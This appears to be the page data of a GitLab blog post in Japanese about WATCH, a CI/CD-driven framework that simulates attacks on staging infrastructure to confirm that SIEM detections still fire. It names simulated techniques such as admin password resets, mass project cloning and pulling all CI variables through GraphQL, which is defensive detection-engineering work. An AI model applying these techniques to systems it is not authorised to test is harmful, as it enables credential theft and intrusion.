[{"data":1,"prerenderedAt":815},["ShallowReactive",2],{"/ja-jp/blog/automated-detection-testing-framework":3,"navigation-ja-jp":42,"banner-ja-jp":463,"footer-ja-jp":473,"blog-post-authors-ja-jp-Evan Baltman":709,"blog-related-posts-ja-jp-automated-detection-testing-framework":724,"blog-promotions-ja-jp":754,"next-steps-ja-jp":806},{"id":4,"title":5,"authorSlugs":6,"authors":8,"body":10,"category":11,"categorySlug":11,"config":12,"content":16,"date":20,"description":25,"extension":26,"externalUrl":27,"featured":13,"heroImage":17,"isFeatured":13,"meta":28,"navigation":13,"path":29,"publishedDate":20,"rawbody":30,"seo":31,"slug":15,"stem":37,"tagSlugs":38,"tags":40,"template":14,"updatedDate":19,"__hash__":41},"blogPosts/ja-jp/blog/automated-detection-testing-framework.yml","GitLab CI/CDとDuoで自動検知テストフレームワークを構築する",[7],"evan-baltman",[9],"Evan Baltman","セキュリティ運用センター（SOC）において健全なアラートシステムを維持する上で、誤検出のチューニングは課題の半分にすぎません。見落とされがちなもう一方の課題は、めったに発火しない重要な検知ルールが、誰にも気づかれないまま完全に機能しなくなっていないかを確認することです。\n\nGitLabでは、Signals Engineeringチームが自社インフラ上で実際の悪意ある行動をシミュレートすることで検知テストを実施しています。ログソースからインジェスション、SIEMへの取り込み、そしてSOARによるアラートルーティングまで、検知がエンドツーエンドで機能することを検証するためです。これは商用のBreach and Attack Simulation（BAS）ツールと同じアプローチですが、それらのツールは高価で汎用的であり、私たちの検知スタックに特化したものではありません。そこで私たちは、Weekly Attack Testing for Continuous Health、略して**WATCH**と名付けた完全自動化フレームワークを自社で構築しました。\n\n本記事では、このフレームワークを開発した背景、その仕組み、そして自社環境での活用方法についてご説明します。\n\n##  検知の検証におけるギャップ\n\nログスキーマの変更、SIEMのアップデート、パイプラインの設定ミスなど、検知がサイレントに失敗する原因は無数に存在します。一方、期待通りに発火するパターンはただひとつです。こうした現実を踏まえると、結論は明らかです。「既存の検知を意図的にトリガーしてみよう！」ただし、すぐに次の疑問が浮かびます。「どうやって検知をトリガーするのか？」「どのくらいの頻度で行うべきか？」\n\n検知をトリガーする方法のひとつは、悪意ある行動をシミュレートするログをSIEMに再投入するという「合成アプローチ」です。そして、検知ルールが偽の問題を検知してアラートを発するかどうかを確認します。ただしこのアプローチには、「実世界」のシナリオで検知が機能することを証明できないという問題に加え、アラートライフサイクルの中でも特にエラーが発生しやすいログインジェスション（ログソースからSIEMまでの経路）の検証ができないという欠点があります。\n\n以前、私たちは[GitLab Universal Automated Response and Detection（GUARD）システム](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/)がDetections as Code（DaC）パイプラインを通じて検知の作成とデプロイを自動化する方法、そしてSOARを通じてアラートのルーティングとトリアージを行う方法についてご紹介しました。DaCパイプラインはエラーなしに検知を*デプロイできる*ことの検証問題を解決しましたが、対象とする行動が実際に発生した際にその検知が*発火するか*という問いには答えられていません。\n\nWATCHはそのギャップを埋めます。検知が機能しているという確信を与えてくれる継続的な検証レイヤーです。\n\n## WATCHの仕組み\n\n大まかに言えば、WATCHはステージング環境でスクリプト化された攻撃シミュレーションを実行し、期待されるアラートがセキュリティ監視スタック全体に伝播することを検証します。検知ルールを管理するSIEM、アラートルーティングを担うSOAR、そしてチームが検知の健全性を監視するダッシュボードに至るまでを確認します。\n\nWATCHテストのライフサイクルは次のとおりです。\n\n1. **スケジューリング**: 毎週、スケジュールされたGitLab CI/CDパイプラインがすべてのアクティブなテストを検出し、週全体にわたってランダムな時間スロットに振り分けます。ランダム化は重要です。テストが予測可能なタイミングで発火すると、テスト活動と実際の脅威を区別しやすくなり、タイミングに敏感な検知の問題をマスクしてしまう可能性があるためです。\n2. **事前通知**: テスト実行前に、WATCHは専用の「WATCH Heads Up」ストーリーを通じてSOARに通知し、トリガーが期待される検知を登録します。これにより、SOARが次に何が来るかを把握できるよう、追跡可能なレコードが作成されます。\n3. **実行**: テストがシミュレートされた悪意ある行動を実行します。たとえば、管理者アカウントのパスワードをリセットしたり、ステージング環境に対して不審なAPI呼び出しを行ったりします。\n4. **検知**: SIEMがステージング環境からのアクティビティログを処理し、対応する検知ルールを（うまくいけば）発火させます。\n5. **相関分析**: SOARにアラートが届くと、「これはWATCHテストか？」のチェックが行われ、各アラートが登録済みのテストに対応するかどうかを3つの要素で照合します。テスト実行からアラート到着までの時間ウィンドウ、アクターのID（IPアドレスまたはユーザー名）、そして発火した検知のルールIDです。これにより、WATCHが生成したアラートがSIRTへの実際のインシデントとしてエスカレーションされることなく、パイプライン全体の検証が可能になります。\n6. **検証**: フォローアップのパイプラインステージが、期待されるすべての検知が発火したかどうかを確認し、検知のステータスメタデータを更新し、更新された結果をGitLab Pagesダッシュボードにデプロイします。いずれかの検知が発火しなかった場合、チームのSlackチャンネルに通知が送られます。\n\n## GitLab CI/CDでWATCHを使う\n\nWATCHは3つのパイプラインステージにわたるオーケストレーションのバックボーンとしてGitLab CI/CDを活用しています。\n\n**schedule_pipelines**ステージは毎週実行され、テストの配布を担います。すべてのアクティブなテストを検出し、グループに振り分け、週全体にわたってランダムな時間帯に実行するようスケジュールされたパイプラインを作成します。スケジュールされた各パイプラインには、実行すべきテストを指定する`TESTS_TO_RUN`変数が付与されます。\n\n**run_tests**ステージでは実際の攻撃シミュレーションが行われます。そのパイプライン実行に割り当てられたテストを実行し、実行統計を`detection_status.json`に保存し、アラートの相関分析がダウンストリームで行えるようSOARのレコードIDを記録します。\n\n**pages**ステージは検証とレポートを担います。SOARに問い合わせてアラートが生成され適切にルーティングされたことを確認し、検証結果で検知メタデータを更新し、最新のテスト結果をGitLab Pagesダッシュボードにデプロイします。\n\n以下は、WATCHパイプライン用のGitLab CI/CD `gitlab-ci.yml`設定ファイルのテンプレートです。\n\n```\nspec:\n  inputs:\n    weekly_scheduling:\n      type: boolean\n      default: false\n      description: \"Enable weekly scheduling of detection tests.\"\n    update_pages:\n      type: boolean\n      default: false\n      description: \"For triggering the update of GitLab Pages dashboard.\"\n\n---\n\n# Specify the Docker image to use for the job\nimage: python:3.12\n\nstages:\n  - schedule_pipelines\n  - run_tests\n  - pages\n\n# Job to manage scheduled pipelines (runs when weekly_scheduling input is true)\nmanage_scheduled_pipelines:\n  stage: schedule_pipelines\n  script:\n    - pip install -r requirements.txt\n    - python scripts/manage_scheduled_pipelines.py\n  rules:\n    - if: $TESTS_TO_RUN == null && $CI_PIPELINE_SOURCE == \"schedule\" && [[ inputs.weekly_scheduling ]] == true\n      when: on_success\n    - when: never\n\n# Job to run detection tests, save tines_record_id to detection_status.json, and commit\nrun_detection_tests:\n  stage: run_tests\n  script:\n    - pip install -r requirements.txt\n    - python main.py --prod --save-stats --scheduled-tests\n  rules:\n    - if: $TESTS_TO_RUN\n      when: on_success\n    - when: never\n\n# Job to verify alerts, update detection_status.json, commit, and deploy pages\npages:\n  stage: pages\n  script:\n    - pip install -r requirements.txt\n    - python scripts/verify_and_update_detections.py --tines-api-key ${TINES_API_KEY}\n    - mkdir -p public/data\n    - cp detection_status.json public/data/\n    - cp -r static/* public/\n  pages: true  # Required for GitLab 17.9+ to trigger Pages deployment\n  artifacts:\n    paths:\n      - public\n  rules:\n    - if: $TESTS_TO_RUN == null && [[ inputs.update_pages ]] == true\n      when: on_success\n    - when: never\n```\n\n## GitLab Duoを使ったテストの作成\n\nWATCHの設計における優先事項のひとつは、Signals EngineeringまたはSIRTチームの誰でも新しいテストを追加できるようにすることでした。このフレームワークは`BaseSecurityTest`抽象クラスを提供しており、テストIDの生成、アクターIDの管理、SOARとの連携といった定型作業をすべて処理します。これにより、テスト作成者はテスト環境のセットアップ、シミュレートされた悪意ある行動の実行、後処理の3点にのみ集中できます。\n\n```py\nclass BaseSecurityTest(ABC):\n\n    def __init__(self, config = {}, test_id: Optional[str] = None):\n        self.test_id = test_id or str(uuid.uuid4())\n        self.test_name = self.__class__.__name__\n        self.expected_detections = {}\n        self.actor_id = config.get('gitlab', {}).get(\n            'default_actor_id',\n            \"sirt_detection_test_user_\" + self.test_id[:8]\n        )\n        self.isActive = True\n        self.test_run_time = 300\n        self.config = config\n\n    @abstractmethod\n    def setup(self) -> bool:\n        \"\"\"Prepare test environment and resources\"\"\"\n\n    @abstractmethod\n    def execute(self) -> Dict[str, Any]:\n        \"\"\"Execute the malicious behavior simulation\"\"\"\n\n    @abstractmethod\n    def cleanup(self) -> bool:\n        \"\"\"Clean up test environment and resources\"\"\"\n```\n\n重要な設定は`expected_detections`ディクショナリです。これは、トリガーが期待されるSIEMのルール名を、アクターIDと期待されるアラート到着時刻にマッピングします。新しいテストは、`tests/`ディレクトリ内に`BaseSecurityTest`をサブクラス化したPythonファイルを作成し、シミュレートする行動を定義して、トリガーが期待される検知を宣言するだけです。テストランナーは次回のスケジュール実行時に自動的にそれを検出します。\n\nこの低摩擦なインターフェースが重要なのは、チームが実際にテストを書いてくれなければ、検知テストという取り組み自体が成立しないからです。テストの追加にパイプライン内部の全体像の理解が必要になれば、誰もやらなくなります。setup、execute、cleanupを実装し、期待される検知を宣言するというシンプルな仕様は、WATCHテストを[GitLab Duo](https://about.gitlab.com/ja-jp/gitlab-duo/)（GitLabのAIアシスタント）との相性を高めます。Duoにベースクラスと「特定のグループから大量のプロジェクトをクローンするテストを作って」「GraphQLを使ってこのプロジェクトのCI変数をすべて取得するテストを作って」「これらのプロジェクトを同じ命名規則にリネームして」といったプロンプトを与えると、Duoはフレームワークに直接プラグインできる動作するWATCHテストをスキャフォールドします。これにより、障壁がさらに下がります。エンジニアは「この検知をテストしたい」という考えから、Duoが実装作業の大半を担った状態で動作するテストまで、一気に進むことができます。\n\nPro Tip: GitLab Duoをさらに効果的に活用するために、私は[Duo Agent Skills](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/customize/agent_skills/)を活用しました。これは、テストの作成のような定型作業の標準と手順を定義するのに最適です。プロジェクトディレクトリには`skills/WATCH-test-creator`というフォルダがあり、SKILL.mdに優れたテストの条件、使用できるヘルパー関数、プロジェクトの目的が記述されています。上記のようなプロンプトを入力した直後にこのファイルが読み込まれるため、Duoに対して「あなたが何をしているのか、どうやればいいのか」を毎回説明し直す必要がなくなります。何より重要なのは、結果が一貫して高品質になることです。以下はそのファイルの抜粋です。\n\n````text\n---\nname: WATCH-test-creator\ndescription: Create WATCH (Orchestrated Offensive Penetration Simulator) security detection tests that simulate malicious behavior on GitLab infrastructure to validate SIEM detection rules and alerting pipelines.\n---\n\n## WATCH Test Creator\n\nYou are an expert at writing security detection tests for the WATCH framework. WATCH tests simulate malicious activities on GitLab-owned infrastructure to verify that the SecOps security monitoring stack (Elastic SIEM, Tines SOAR, alerting rules) properly detects and responds to threats.\n\n### Architecture Overview\n```\nProject Root\n├── core/\n│   ├── base_test.py          # Abstract base class all tests inherit from\n│   ├── test_runner.py         # Auto-discovers and executes tests\n│   └── webhook_manager.py     # Tines/SOAR notification integration\n├── tests/\n│   ├── gitlab/                # GitLab-specific detection tests\n│   └── gcp/                   # GCP-specific detection tests\n├── utils/\n│   ├── gitlab_helper.py       # GitLab API wrapper (users, projects, tokens, webhooks, OAuth)\n│   └── crypto_utils.py        # Password generation utility\n├── config/\n│   ├── settings.py            # Config loader (reads YAML + GITLAB_ADMIN_PAT env var)\n│   └── environments/\n│       ├── dev.yaml           # Local GDK config\n│       └── prod.yaml          # Production staging.gitlab.com config\n├── main.py                    # Entry point with CLI args\n└── detection_status.json      # Test results and detection metadata\n```\n\n````\n\n## テストダッシュボードによる可視性の向上\n\n![テストダッシュボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1777574679/ylrc96iip682sinfg7zi.png)\n\nWATCHはまた、[GitLab Pages](https://docs.gitlab.com/ja-jp/user/project/pages/)を通じて2つのインタラクティブなダッシュボードをデプロイし、チームが検知の健全性をリアルタイムで把握できるようにしています。\n\n* **検知ステータスダッシュボード**は、すべての検知ルールと現在のテスト状況の概要を提供します。各検知の発火回数、現在の合否状態、検知のアクティブ期間といったメトリクスが含まれます。テーブルはフィルタリングとソートが可能で、エンジニアはどの検知に注意が必要かをすぐに特定できます。\n* **テスト実行ダッシュボード**は、テストIDごとにグループ化され、検知カバレッジの内訳を含む個々のテスト実行の詳細なビューを提供します。アラート伝播時間を示すタイムライン可視化も含まれており、テスト実行からアラート到着までの所要時間や、SIEMの対応するアラートへの直接リンクを確認できます。\n\nこれらのダッシュボードは、以前は手動でパイプラインログやSIEMクエリを掘り起こして検知の健全性を確認していた作業を置き換えました。\n\nGUARDの他の部分と同様に、WATCHはGitLabをそのプラットフォームとして全面的に活用しています。\n\n* **GitLab CI/CDパイプラインとスケジュールパイプライン**が、週次スケジューリングから実行、ダッシュボードのデプロイまで、テストライフサイクル全体をオーケストレーションします。\n* **パイプラインインプット**により、ステージを個別にトリガーできるため、すべてのテストを再実行することなく、検証ステップだけ、あるいはダッシュボード更新だけを実行することができます。\n* **CI/CD変数**が、TinesおよびGitLabステージング環境へのアクセスに必要なAPIキーを安全に保管します。\n* **GitLab Pages**が、追加のインフラ不要でWATCHダッシュボードをホストします。別途ホスティングの管理も、追加のデプロイツールも必要ありません。\n* テストはGitLabプロジェクト内のPythonファイルに過ぎないため、DaCを通じた検知ルールと同様に、**バージョン管理、マージリクエストレビュー、コードオーナーシップ**の恩恵を受けます。\n\n## WATCHでプロアクティブな姿勢を維持する\n\nWATCHを構築したことで、チームの検知品質に対する姿勢が事後対応型からプロアクティブ型へと変わりました。WATCH導入以前は、検知の不具合はインシデントが発生して期待されるアラートが届かないときに初めて露見していました。これは、ギャップを発見するには最悪のタイミングです。今では検知の健全性について定期的な更新を受け取ることができ、実際に何かが起きる*前*に不具合を把握できます。新たな検知を開発しても、それが壊れたまま放置されることはないという安心感が生まれました。\n\nWATCHのもうひとつのメリットは、レッドチームがフラッシュオペレーションを実施した際に使用した戦術・技術・手順（TTP）を記録できることです。検知を実装してペンテスト作業の事後分析を行った後、WATCHを使ってそれらの検知を検証するためにTTPを再実行することができます。本質的に、WATCHは検知のアトミックテストを再実行可能なTTPにします。\n\n## WATCHを試す\n\nSOCを運営しSIEMの検知を頼りに脅威を捕捉しているなら、問うべきは「検知が壊れるかどうか」ではなく、「壊れたときに気づけるかどうか」です。この問いに答えるために商用BASプラットフォームは必要ありません。サンドボックス環境、CI/CDパイプライン、そして攻撃シミュレーションをスクリプト化するためのフレームワークがあれば、大きく前進できます。\n\n[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/)に登録して、独自の検知テストフレームワークを構築してみてください。","security-labs",{"featured":13,"template":14,"slug":15},true,"BlogPost","automated-detection-testing-framework",{"heroImage":17,"body":10,"authors":18,"updatedDate":19,"date":20,"title":5,"tags":21,"description":25,"category":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png",[9],"2026-05-01","2026-04-30",[22,23,24],"security","security research","features","GitLabのSignals Engineeringチームが構築したWATCHフレームワークを通じて、セキュリティ監視パイプラインを継続的に検証する方法をご紹介します。","yml",null,{},"/ja-jp/blog/automated-detection-testing-framework","seo:\n  config:\n    noIndex: false\n  title: GitLab CI/CDとDuoで検知テストを自動化する\n  description: GitLabのSignals\n    Engineingチームが構築したWATCHフレームワークを通じて、セキュリティ監視パイプラインを継続的に検証する方法をご紹介します。セキュリティ運用センター（SOC）の検知品質を維持するための実践的アプローチです。\n  ogImage: https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772195014/ooezwusxjl1f7ijfmbvj.webp\ncontent:\n  heroImage: https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png\n  body: >-\n    セキュリティ運用センター（SOC）において健全なアラートシステムを維持する上で、誤検出のチューニングは課題の半分にすぎません。見落とされがちなもう一方の課題は、めったに発火しない重要な検知ルールが、誰にも気づかれないまま完全に機能しなくなっていないかを確認することです。\n\n\n    GitLabでは、Signals Engineeringチームが自社インフラ上で実際の悪意ある行動をシミュレートすることで検知テストを実施しています。ログソースからインジェスション、SIEMへの取り込み、そしてSOARによるアラートルーティングまで、検知がエンドツーエンドで機能することを検証するためです。これは商用のBreach and Attack Simulation（BAS）ツールと同じアプローチですが、それらのツールは高価で汎用的であり、私たちの検知スタックに特化したものではありません。そこで私たちは、Weekly Attack Testing for Continuous Health、略して**WATCH**と名付けた完全自動化フレームワークを自社で構築しました。\n\n\n    本記事では、このフレームワークを開発した背景、その仕組み、そして自社環境での活用方法についてご説明します。\n\n\n    ##  検知の検証におけるギャップ\n\n\n    ログスキーマの変更、SIEMのアップデート、パイプラインの設定ミスなど、検知がサイレントに失敗する原因は無数に存在します。一方、期待通りに発火するパターンはただひとつです。こうした現実を踏まえると、結論は明らかです。「既存の検知を意図的にトリガーしてみよう！」ただし、すぐに次の疑問が浮かびます。「どうやって検知をトリガーするのか？」「どのくらいの頻度で行うべきか？」\n\n\n    検知をトリガーする方法のひとつは、悪意ある行動をシミュレートするログをSIEMに再投入するという「合成アプローチ」です。そして、検知ルールが偽の問題を検知してアラートを発するかどうかを確認します。ただしこのアプローチには、「実世界」のシナリオで検知が機能することを証明できないという問題に加え、アラートライフサイクルの中でも特にエラーが発生しやすいログインジェスション（ログソースからSIEMまでの経路）の検証ができないという欠点があります。\n\n\n    以前、私たちは[GitLab Universal Automated Response and Detection（GUARD）システム](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/)がDetections as Code（DaC）パイプラインを通じて検知の作成とデプロイを自動化する方法、そしてSOARを通じてアラートのルーティングとトリアージを行う方法についてご紹介しました。DaCパイプラインはエラーなしに検知を*デプロイできる*ことの検証問題を解決しましたが、対象とする行動が実際に発生した際にその検知が*発火するか*という問いには答えられていません。\n\n\n    WATCHはそのギャップを埋めます。検知が機能しているという確信を与えてくれる継続的な検証レイヤーです。\n\n\n    ## WATCHの仕組み\n\n\n    大まかに言えば、WATCHはステージング環境でスクリプト化された攻撃シミュレーションを実行し、期待されるアラートがセキュリティ監視スタック全体に伝播することを検証します。検知ルールを管理するSIEM、アラートルーティングを担うSOAR、そしてチームが検知の健全性を監視するダッシュボードに至るまでを確認します。\n\n\n    WATCHテストのライフサイクルは次のとおりです。\n\n\n    1. **スケジューリング**: 毎週、スケジュールされたGitLab CI/CDパイプラインがすべてのアクティブなテストを検出し、週全体にわたってランダムな時間スロットに振り分けます。ランダム化は重要です。テストが予測可能なタイミングで発火すると、テスト活動と実際の脅威を区別しやすくなり、タイミングに敏感な検知の問題をマスクしてしまう可能性があるためです。\n\n    2. **事前通知**: テスト実行前に、WATCHは専用の「WATCH Heads Up」ストーリーを通じてSOARに通知し、トリガーが期待される検知を登録します。これにより、SOARが次に何が来るかを把握できるよう、追跡可能なレコードが作成されます。\n\n    3. **実行**: テストがシミュレートされた悪意ある行動を実行します。たとえば、管理者アカウントのパスワードをリセットしたり、ステージング環境に対して不審なAPI呼び出しを行ったりします。\n\n    4. **検知**: SIEMがステージング環境からのアクティビティログを処理し、対応する検知ルールを（うまくいけば）発火させます。\n\n    5. **相関分析**: SOARにアラートが届くと、「これはWATCHテストか？」のチェックが行われ、各アラートが登録済みのテストに対応するかどうかを3つの要素で照合します。テスト実行からアラート到着までの時間ウィンドウ、アクターのID（IPアドレスまたはユーザー名）、そして発火した検知のルールIDです。これにより、WATCHが生成したアラートがSIRTへの実際のインシデントとしてエスカレーションされることなく、パイプライン全体の検証が可能になります。\n\n    6. **検証**: フォローアップのパイプラインステージが、期待されるすべての検知が発火したかどうかを確認し、検知のステータスメタデータを更新し、更新された結果をGitLab Pagesダッシュボードにデプロイします。いずれかの検知が発火しなかった場合、チームのSlackチャンネルに通知が送られます。\n\n\n    ## GitLab CI/CDでWATCHを使う\n\n\n    WATCHは3つのパイプラインステージにわたるオーケストレーションのバックボーンとしてGitLab CI/CDを活用しています。\n\n\n    **schedule_pipelines**ステージは毎週実行され、テストの配布を担います。すべてのアクティブなテストを検出し、グループに振り分け、週全体にわたってランダムな時間帯に実行するようスケジュールされたパイプラインを作成します。スケジュールされた各パイプラインには、実行すべきテストを指定する`TESTS_TO_RUN`変数が付与されます。\n\n\n    **run_tests**ステージでは実際の攻撃シミュレーションが行われます。そのパイプライン実行に割り当てられたテストを実行し、実行統計を`detection_status.json`に保存し、アラートの相関分析がダウンストリームで行えるようSOARのレコードIDを記録します。\n\n\n    **pages**ステージは検証とレポートを担います。SOARに問い合わせてアラートが生成され適切にルーティングされたことを確認し、検証結果で検知メタデータを更新し、最新のテスト結果をGitLab Pagesダッシュボードにデプロイします。\n\n\n    以下は、WATCHパイプライン用のGitLab CI/CD `gitlab-ci.yml`設定ファイルのテンプレートです。\n\n\n    ```\n\n    spec:\n      inputs:\n        weekly_scheduling:\n          type: boolean\n          default: false\n          description: \"Enable weekly scheduling of detection tests.\"\n        update_pages:\n          type: boolean\n          default: false\n          description: \"For triggering the update of GitLab Pages dashboard.\"\n\n    ---\n\n\n    # Specify the Docker image to use for the job\n\n    image: python:3.12\n\n\n    stages:\n      - schedule_pipelines\n      - run_tests\n      - pages\n\n    # Job to manage scheduled pipelines (runs when weekly_scheduling input is true)\n\n    manage_scheduled_pipelines:\n      stage: schedule_pipelines\n      script:\n        - pip install -r requirements.txt\n        - python scripts/manage_scheduled_pipelines.py\n      rules:\n        - if: $TESTS_TO_RUN == null && $CI_PIPELINE_SOURCE == \"schedule\" && [[ inputs.weekly_scheduling ]] == true\n          when: on_success\n        - when: never\n\n    # Job to run detection tests, save tines_record_id to detection_status.json, and commit\n\n    run_detection_tests:\n      stage: run_tests\n      script:\n        - pip install -r requirements.txt\n        - python main.py --prod --save-stats --scheduled-tests\n      rules:\n        - if: $TESTS_TO_RUN\n          when: on_success\n        - when: never\n\n    # Job to verify alerts, update detection_status.json, commit, and deploy pages\n\n    pages:\n      stage: pages\n      script:\n        - pip install -r requirements.txt\n        - python scripts/verify_and_update_detections.py --tines-api-key ${TINES_API_KEY}\n        - mkdir -p public/data\n        - cp detection_status.json public/data/\n        - cp -r static/* public/\n      pages: true  # Required for GitLab 17.9+ to trigger Pages deployment\n      artifacts:\n        paths:\n          - public\n      rules:\n        - if: $TESTS_TO_RUN == null && [[ inputs.update_pages ]] == true\n          when: on_success\n        - when: never\n    ```\n\n\n    ## GitLab Duoを使ったテストの作成\n\n\n    WATCHの設計における優先事項のひとつは、Signals EngineeringまたはSIRTチームの誰でも新しいテストを追加できるようにすることでした。このフレームワークは`BaseSecurityTest`抽象クラスを提供しており、テストIDの生成、アクターIDの管理、SOARとの連携といった定型作業をすべて処理します。これにより、テスト作成者はテスト環境のセットアップ、シミュレートされた悪意ある行動の実行、後処理の3点にのみ集中できます。\n\n\n    ```py\n\n    class BaseSecurityTest(ABC):\n\n        def __init__(self, config = {}, test_id: Optional[str] = None):\n            self.test_id = test_id or str(uuid.uuid4())\n            self.test_name = self.__class__.__name__\n            self.expected_detections = {}\n            self.actor_id = config.get('gitlab', {}).get(\n                'default_actor_id',\n                \"sirt_detection_test_user_\" + self.test_id[:8]\n            )\n            self.isActive = True\n            self.test_run_time = 300\n            self.config = config\n\n        @abstractmethod\n        def setup(self) -> bool:\n            \"\"\"Prepare test environment and resources\"\"\"\n\n        @abstractmethod\n        def execute(self) -> Dict[str, Any]:\n            \"\"\"Execute the malicious behavior simulation\"\"\"\n\n        @abstractmethod\n        def cleanup(self) -> bool:\n            \"\"\"Clean up test environment and resources\"\"\"\n    ```\n\n\n    重要な設定は`expected_detections`ディクショナリです。これは、トリガーが期待されるSIEMのルール名を、アクターIDと期待されるアラート到着時刻にマッピングします。新しいテストは、`tests/`ディレクトリ内に`BaseSecurityTest`をサブクラス化したPythonファイルを作成し、シミュレートする行動を定義して、トリガーが期待される検知を宣言するだけです。テストランナーは次回のスケジュール実行時に自動的にそれを検出します。\n\n\n    この低摩擦なインターフェースが重要なのは、チームが実際にテストを書いてくれなければ、検知テストという取り組み自体が成立しないからです。テストの追加にパイプライン内部の全体像の理解が必要になれば、誰もやらなくなります。setup、execute、cleanupを実装し、期待される検知を宣言するというシンプルな仕様は、WATCHテストを[GitLab Duo](https://about.gitlab.com/ja-jp/gitlab-duo/)（GitLabのAIアシスタント）との相性を高めます。Duoにベースクラスと「特定のグループから大量のプロジェクトをクローンするテストを作って」「GraphQLを使ってこのプロジェクトのCI変数をすべて取得するテストを作って」「これらのプロジェクトを同じ命名規則にリネームして」といったプロンプトを与えると、Duoはフレームワークに直接プラグインできる動作するWATCHテストをスキャフォールドします。これにより、障壁がさらに下がります。エンジニアは「この検知をテストしたい」という考えから、Duoが実装作業の大半を担った状態で動作するテストまで、一気に進むことができます。\n\n\n    Pro Tip: GitLab Duoをさらに効果的に活用するために、私は[Duo Agent Skills](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/customize/agent_skills/)を活用しました。これは、テストの作成のような定型作業の標準と手順を定義するのに最適です。プロジェクトディレクトリには`skills/WATCH-test-creator`というフォルダがあり、SKILL.mdに優れたテストの条件、使用できるヘルパー関数、プロジェクトの目的が記述されています。上記のようなプロンプトを入力した直後にこのファイルが読み込まれるため、Duoに対して「あなたが何をしているのか、どうやればいいのか」を毎回説明し直す必要がなくなります。何より重要なのは、結果が一貫して高品質になることです。以下はそのファイルの抜粋です。\n\n\n    ````text\n\n    ---\n\n    name: WATCH-test-creator\n\n    description: Create WATCH (Orchestrated Offensive Penetration Simulator) security detection tests that simulate malicious behavior on GitLab infrastructure to validate SIEM detection rules and alerting pipelines.\n\n    ---\n\n\n    ## WATCH Test Creator\n\n\n    You are an expert at writing security detection tests for the WATCH framework. WATCH tests simulate malicious activities on GitLab-owned infrastructure to verify that the SecOps security monitoring stack (Elastic SIEM, Tines SOAR, alerting rules) properly detects and responds to threats.\n\n\n    ### Architecture Overview\n\n    ```\n\n    Project Root\n\n    ├── core/\n\n    │   ├── base_test.py          # Abstract base class all tests inherit from\n\n    │   ├── test_runner.py         # Auto-discovers and executes tests\n\n    │   └── webhook_manager.py     # Tines/SOAR notification integration\n\n    ├── tests/\n\n    │   ├── gitlab/                # GitLab-specific detection tests\n\n    │   └── gcp/                   # GCP-specific detection tests\n\n    ├── utils/\n\n    │   ├── gitlab_helper.py       # GitLab API wrapper (users, projects, tokens, webhooks, OAuth)\n\n    │   └── crypto_utils.py        # Password generation utility\n\n    ├── config/\n\n    │   ├── settings.py            # Config loader (reads YAML + GITLAB_ADMIN_PAT env var)\n\n    │   └── environments/\n\n    │       ├── dev.yaml           # Local GDK config\n\n    │       └── prod.yaml          # Production staging.gitlab.com config\n\n    ├── main.py                    # Entry point with CLI args\n\n    └── detection_status.json      # Test results and detection metadata\n\n    ```\n\n\n    ````\n\n\n    ## テストダッシュボードによる可視性の向上\n\n\n    ![テストダッシュボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1777574679/ylrc96iip682sinfg7zi.png)\n\n\n    WATCHはまた、[GitLab Pages](https://docs.gitlab.com/ja-jp/user/project/pages/)を通じて2つのインタラクティブなダッシュボードをデプロイし、チームが検知の健全性をリアルタイムで把握できるようにしています。\n\n\n    * **検知ステータスダッシュボード**は、すべての検知ルールと現在のテスト状況の概要を提供します。各検知の発火回数、現在の合否状態、検知のアクティブ期間といったメトリクスが含まれます。テーブルはフィルタリングとソートが可能で、エンジニアはどの検知に注意が必要かをすぐに特定できます。\n\n    * **テスト実行ダッシュボード**は、テストIDごとにグループ化され、検知カバレッジの内訳を含む個々のテスト実行の詳細なビューを提供します。アラート伝播時間を示すタイムライン可視化も含まれており、テスト実行からアラート到着までの所要時間や、SIEMの対応するアラートへの直接リンクを確認できます。\n\n\n    これらのダッシュボードは、以前は手動でパイプラインログやSIEMクエリを掘り起こして検知の健全性を確認していた作業を置き換えました。\n\n\n    GUARDの他の部分と同様に、WATCHはGitLabをそのプラットフォームとして全面的に活用しています。\n\n\n    * **GitLab CI/CDパイプラインとスケジュールパイプライン**が、週次スケジューリングから実行、ダッシュボードのデプロイまで、テストライフサイクル全体をオーケストレーションします。\n\n    * **パイプラインインプット**により、ステージを個別にトリガーできるため、すべてのテストを再実行することなく、検証ステップだけ、あるいはダッシュボード更新だけを実行することができます。\n\n    * **CI/CD変数**が、TinesおよびGitLabステージング環境へのアクセスに必要なAPIキーを安全に保管します。\n\n    * **GitLab Pages**が、追加のインフラ不要でWATCHダッシュボードをホストします。別途ホスティングの管理も、追加のデプロイツールも必要ありません。\n\n    * テストはGitLabプロジェクト内のPythonファイルに過ぎないため、DaCを通じた検知ルールと同様に、**バージョン管理、マージリクエストレビュー、コードオーナーシップ**の恩恵を受けます。\n\n\n    ## WATCHでプロアクティブな姿勢を維持する\n\n\n    WATCHを構築したことで、チームの検知品質に対する姿勢が事後対応型からプロアクティブ型へと変わりました。WATCH導入以前は、検知の不具合はインシデントが発生して期待されるアラートが届かないときに初めて露見していました。これは、ギャップを発見するには最悪のタイミングです。今では検知の健全性について定期的な更新を受け取ることができ、実際に何かが起きる*前*に不具合を把握できます。新たな検知を開発しても、それが壊れたまま放置されることはないという安心感が生まれました。\n\n\n    WATCHのもうひとつのメリットは、レッドチームがフラッシュオペレーションを実施した際に使用した戦術・技術・手順（TTP）を記録できることです。検知を実装してペンテスト作業の事後分析を行った後、WATCHを使ってそれらの検知を検証するためにTTPを再実行することができます。本質的に、WATCHは検知のアトミックテストを再実行可能なTTPにします。\n\n\n    ## WATCHを試す\n\n\n    SOCを運営しSIEMの検知を頼りに脅威を捕捉しているなら、問うべきは「検知が壊れるかどうか」ではなく、「壊れたときに気づけるかどうか」です。この問いに答えるために商用BASプラットフォームは必要ありません。サンドボックス環境、CI/CDパイプライン、そして攻撃シミュレーションをスクリプト化するためのフレームワークがあれば、大きく前進できます。\n\n\n    